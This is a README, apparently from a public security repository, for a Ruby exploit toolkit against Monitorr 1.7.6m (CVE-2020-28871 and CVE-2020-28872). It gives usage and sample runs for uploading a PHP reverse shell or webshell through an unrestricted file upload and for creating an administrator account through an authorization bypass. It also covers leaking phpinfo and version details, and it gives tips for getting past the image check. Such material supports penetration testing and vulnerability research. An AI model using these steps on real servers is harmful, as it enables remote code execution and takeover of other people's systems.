Monitorr 漏洞利用工具包

RCE：通过 不安全的文件上传 实现（PHP 反弹 Shell、Webshell 等）
管理员账户创建：通过 授权绕过 实现
技术信息泄露：Monitorr 版本、PHP 版本、系统版本与内核、PHP 配置等

针对 CVE-2020-28872 和 CVE-2020-28871 的漏洞利用。

用法

$ ruby exploit.rb -h
Monitorr-Exploit

Usage:
  exploit.rb upload <url> <file> [--debug]
  exploit.rb create <url> <user> <pass> <email> [--debug]
  exploit.rb version <url> [--debug]
  exploit.rb phpinfo <url> [--debug]
  exploit.rb -h | --help

upload:       Upload a file (RCE via unrestricted file upload)
version:      Try to fetch Monitorr version
phpinfo:      Extract main phpinfo() information (Information leakage)
create:       Create an administrator account (Authorization bypass)

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <file>      File to be uploaded
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb upload http://example.org revshell.php
  exploit.rb create https://example.org:8080/monitorr/ noraj password '[email protected]'
  exploit.rb version https://example.org:7000/

示例

上传反弹 Shell：

$ ruby exploit.rb upload http://localhost:7000/ shell.php
[+] File uploaded:
http://localhost:7000//assets/data/usrimg/shell.php

创建管理员账户：

$ ruby exploit.rb create http://localhost:7000/ noraj20 password '[email protected]'
[+] User created
Username: noraj20
Email: [email protected]
Password: password

获取 Monitorr 版本：

$ ruby exploit.rb version http://localhost:7000/
1.7.6m

获取 phpinfp()：

$ ruby exploit.rb phpinfo http://localhost:7000/
System: Linux f0ded2053dda 5.12.12-zen1-1-zen #1 ZEN SMP PREEMPT Fri, 18 Jun 2021 21:59:24 +0000 x86_64 
PHP version: 7.1.17 
disable_functions: no value</i>
open_basedir: no value</i>

Full phpinfo() location: http://localhost:7000//assets/php/phpinfo.php

依赖

使用 gem 的示例：

bundle install
# or
gem install httpx docopt

易受攻击软件的 Docker 部署

警告：当然，此设置不适合生产环境使用！

$ sudo docker-compose up

在 http://127.0.0.1:7000/monitorr/settings.php 处设置/初始化应用。

限制

上传：上传的文件必须包含图像幻数字节（如 GIF），才能匹配 getimagesize（代码）
创建：创建过程中使用的密码长度必须 >= 6 个字符（应用程序的最低限制）

参考

目标软件：Monitorr
- 源代码：https://github.com/Monitorr/Monitorr/
- Docker：https://hub.docker.com/r/monitorr/monitorr/
- 存在漏洞的版本：1.7.6m

这是 EDB-48981（CVE-2020-28872）和 EDB-48980（CVE-2020-28871）的改进重写与融合版本，并增加了额外功能。

上传与管理员账户创建漏洞由 Lyhin's Lab 发现。phpinfo 与 Monitorr 版本泄露由 Alexandre ZANNI（又名 noraj）发现。

原始漏洞利用与漏洞分析：

白盒黑客的工作原理：Monitorr 1.7.6 中的授权绕过与远程代码执行

monitorr-exploit-toolkit

最受欢迎